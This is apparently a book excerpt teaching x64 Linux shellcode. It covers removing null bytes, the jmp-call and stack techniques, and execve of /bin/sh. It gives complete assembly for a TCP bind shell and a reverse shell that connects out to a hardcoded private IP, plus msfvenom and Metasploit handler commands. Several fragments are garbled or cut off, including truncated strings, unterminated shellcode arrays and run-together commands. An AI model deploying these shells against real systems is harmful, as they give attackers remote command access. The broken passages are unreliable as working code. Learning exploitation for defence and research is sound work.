**Creating ShellCode**

So what we have to do is simple: write what we want the shellcode to do as assembly, then  
perform some modifications, and convert it to a machine code.  
Let's try to make a hello world shellcode and convert an executable form to machine code. We  
need to use the objdump command:  
$ objdump -D -M intel hello-world

But we need to convert it to this form: \xff\xff\xff\xff, where ff represents the  
operation code. You can do that manually line by line, but it would be somewhat tedious. We  
can do that automatically using just one line:  
$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7

Bad characters

Bad characters are characters that can break the execution of a shellcode because they can be interpreted as something else.

For example, consider \x00, which means zero value, but it will be interpreted as a null  
terminator and will be used to terminate a string. Now, to prove that, let's take another look at the previous code:  
"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";

Here is the list of bad characters:  
00: This is the zero value or null terminator (\0)  
0A: This is the line feed (\n)  
FF: This is the form feed (\f)  
0D: This is the carriage return (\r)

Now, how to remove these bad characters from our shellcode? Actually, we can remove them using what we know so far in assembly, such as choosing which part of one register should depend on the size of the moved data. For example, if I want to move a small value such as 15 to RAX, we should use the following code:

mov al, 15

Alternatively, we can use arithmetic operations, for example, to move 15 to the RAX register:  
xor rax, rax  
add rax, 15

global \_start  
section .text  
\_start:  
mov al, 1  
mov rdi, 1  
mov rsi, hello\_world  
mov rdx, length  
syscall  
mov rax, 60  
mov rdi, 1  
syscall  
section .data  
hello\_world: db 'hello worl

Now, run the following commands:  
**$ nasm -felf64 hello-world.nasm -o hello-world.o  
$ ld hello-world.o -o hello-world  
$ objdump -D -M intel hello-world**

First, we need to clear the register using the xor instruction, xor rdi, rdi. Now, the RDI register contains zeros; we add 1 to its value, add rdi, 1:  
global \_start  
section .text  
\_start:  
mov al, 1  
xor rdi, rdi  
add rdi, 1  
mov rsi, hello\_world  
mov rdx, length  
syscall  
mov rax, 60  
mov rdi, 1  
syscall  
section .data  
hello\_world: db 'hello world',0xa  
length: equ $-hello\_world

Now, run the following commands:  
**$ nasm -felf64 hello-world.nasm -o hello-world.o  
$ ld hello-world.o -o hello-world  
$ objdump -D -M intel hello-world**

We fixed that too. Let's fix all that and leave moving the hello world string to the next section:  
global \_start  
section .text  
\_start:  
mov al, 1  
xor rdi, rdi  
add rdi, 1  
mov rsi, hello\_world  
xor rdx,rdx  
add rdx,12  
syscall  
xor rax,rax  
add rax,60  
xor rdi,rdi  
syscall  
section .data  
hello\_world: db 'hello world',0xa  
Now, run the following commands:  
$ nasm -felf64 hello-world.nasm -o hello-world.o$ ld hello-world.o -o hello-world$ objdump -D -M intel hello-world

The relative address technique

The relative address is the current location relative to the RIP register, and relative value is a very good technique to avoid using hardcoded addresses in assembly

How can we do that? Actually, it's made so simple by using lea <destination>, [rel <source>], where the rel instruction will compute the address of the source relative to the RIP register. We need to define our variable before the code itself, which in turn has to be defined before the RIP current location; otherwise, it will be a short value and the rest of the register will be filled with zeros like this:

Now, let's modify our shellcode with this technique to fix the location of the hello world string:  
global \_start  
section .text  
\_start:  
jmp code  
hello\_world: db 'hello world',0xa  
code:  
mov al, 1  
xor rdi, rdi  
add rdi, 1  
lea rsi, [rel hello\_world]  
xor rdx,rdx  
add rdx,12  
syscall  
xor rax,rax  
add rax,60  
xor rdi,rdi  
syscall

Now, run the following commands:  
$ nasm -felf64 hello-world.nasm -o hello-world.o$ ld hello-world.o -o hello-world$ objdump -D -M intel hello-world

The jmp-call technique

This technique is simply to first make the jmp instruction to the string we want to move to abspecific register. After that, we call the actual code using the call instruction, which pushes the string's address to the stack, then we pop the address into that register. Take a look at the next example to fully understand this technique:  
global \_start  
section .text  
\_start:  
jmp string  
code:  
pop rsi  
mov al, 1  
xor rdi, rdi  
add rdi, 1  
xor rdx,rdx  
add rdx,12  
syscall  
xor rax,rax  
add rax,60  
xor rdi,rdi  
syscall  
string:  
call code  
hello\_world: db 'hello world',0xa

Let's compile and run it:  
**$ gcc -fno-stack-protector -z execstack hello-world.c  
$ ./a.ou**

**The stack technique**

Here, we are going to learn another technique to deal with addresses using the stack. It's very simple, but we have two obstacles. First, we only allow 4 bytes to push into the stack in one operation—we will use registers to help us in this. Second, we have to push out strings into the stack in reverse—we will use Python to do that for us.  
Let's try to solve the second obstacle. Using Python, I'm going to define string = 'hello  
world\n', then I will reverse my string and encode it to hex in one line using  
string[::-1].encode('hex'). Next, we will have our string in reverse and encoded:  
Done! Now, let's try to solve the first obstacle:  
global \_start  
section .text  
\_start:  
xor rax, rax  
add rax, 1  
mov rdi, rax  
push 0x0a646c72  
mov rbx, 0x6f57206f6c6c6548  
push rbx  
mov rsi, rsp  
xor rdx, rdx  
add rdx, 12  
syscall  
xor rax, rax  
add rax, 60  
xor rdi, rdi  
syscall

Let's try to use it as a shellcode:  
#include<stdio.h>  
#include<string.h>  
unsigned char code[] =  
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f  
int main()  
{  
printf("Shellcode Length: %d\n", (int)strlen(code));  
int (\*ret)() = (int(\*)())code;  
ret();  
}  
Now, run the following commands:  
**$ gcc -fno-stack-protector -z execstack hello-world.c  
$ ./a.out**

**The exceve syscall**

Now, we will learn how to make a useful shellcode using execve. Before we continue, we must understand what the execve syscall is. It's a syscall used to execute a program or a script. Let's take an example of how to use execve to read the /etc/issue file using the C language.

As it says, the first argument is the program we want to execute.  
The second argument, argv, is a pointer to an array of arguments related to the program we want to execute. Also, argv should contain the program's name.  
The third argument is envp, which contains whatever arguments we want to pass to the  
environment, but we can set this argument to NULL.

The execve syscall number is 59:  
add rax, 59  
syscall  
Let's put our code together:  
global \_start  
section .text  
\_start:  
xor rax, rax  
push rax  
mov rdx, rsp  
mov rbx, 0x68732f6e69622f2f  
push rbx  
mov rdi, rsp  
push rax  
push rdi  
mov rsi,rsp  
add rax, 59  
syscall  
Now, run the following commands:  
$ nasm -felf64 execve.nasm -o execve.o$ ld execve.o -o execve$ ./execve

**TCP bind shell**

global \_start  
section .text  
\_start:  
;Socket syscall  
xor rax, rax  
add rax, 41  
xor rdi, rdi  
add rdi, 2  
xor rsi, rsi  
inc rsi  
xor rdx, rdx  
syscall  
; Save the sockfd in RDI Register  
mov rdi, rax  
;Creating the structure  
xor rax, rax  
push rax  
push word 0xd204  
push word 0x02  
;Bind syscall  
mov rsi, rsp  
xor rdx, rdx  
add rdx, 16  
xor rax, rax  
add rax, 49  
syscall  
;Listen syscall  
xor rax, rax  
add rax, 50  
xor rsi , rsi  
inc rsi  
syscall  
;Accept syscall  
xor rax , rax  
add rax, 43  
xor rsi, rsi  
xor rdx, rdx  
syscall  
;Store clientfd in RBX register  
mov rbx, rax  
;Dup2 syscall to stdin  
mov rdi, rbx  
xor rax,rax  
add rax, 33  
xor rsi, rsi  
syscall

;Dup2 syscall to stdout  
xor rax,rax  
add rax, 33  
inc rsi  
syscall  
;Dup2 syscall to stderr  
xor rax,rax  
add rax, 33  
inc rsi  
syscall

;Execve syscall with /bin/sh  
xor rax, rax  
push rax  
mov rdx, rsp  
mov rbx, 0x68732f6e69622f2f  
push rbx  
mov rdi, rsp  
push rax  
push rdi  
mov rsi,rsp  
add rax, 59  
syscall

**Reverse TCP Shell**

global \_start  
section .text  
\_start:  
;Socket syscall  
xor rax, rax  
add rax, 41  
xor rdi, rdi  
add rdi, 2  
xor rsi, rsi  
inc rsi  
xor rdx, rdx  
syscall  
; Save the sockfd in RDI Register  
mov rdi, rax  
;Creating the structure  
xor rax, rax  
push dword 0x01eea8c0  
push word 0xd204  
push word 0x02  
;Move stack pointer to RSI  
mov rsi, rsp  
;Connect syscall  
xor rdx, rdx  
add rdx, 16  
xor rax, rax  
add rax, 42  
syscall  
;Dup2 syscall to stdin  
xor rax,rax  
add rax, 33  
xor rsi, rsi  
syscall  
;Dup2 syscall to stdout  
xor rax,rax  
add rax, 33  
inc rsi  
syscall

;Dup2 syscall to stderr  
xor rax,rax  
add rax, 33  
inc rsi

syscall

;Execve syscall with /bin/sh  
xor rax, rax  
push rax  
mov rdx, rsp  
mov rbx, 0x68732f6e69622f2f  
push rbx  
mov rdi, rsp  
push rax  
push rdi  
mov rsi,rsp  
add rax,59

syscall

**Generating shellcode using Metasploit**

Let's try to create bind TCP shellcode on Linux:  
**$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind\_tcp -b "\x00" -f c**

What we have here is simple: -a to specify the arch, then we specified the platform as Linux,  
then we selected our payload to be linux/x64/shell/bind\_tcp, then we removed bad  
characters, \x00, using the -b option, and finally we specified the format to C.

It's waiting for the connection. Now, let's set up our listener on the attacker machine using the  
Metasploit Framework with the msfconsole command, and then choose the handler:  
**use exploit/multi/handler**

Then, we select our payload using this command:  
**set PAYLOAD linux/x64/shell/bind\_tcp**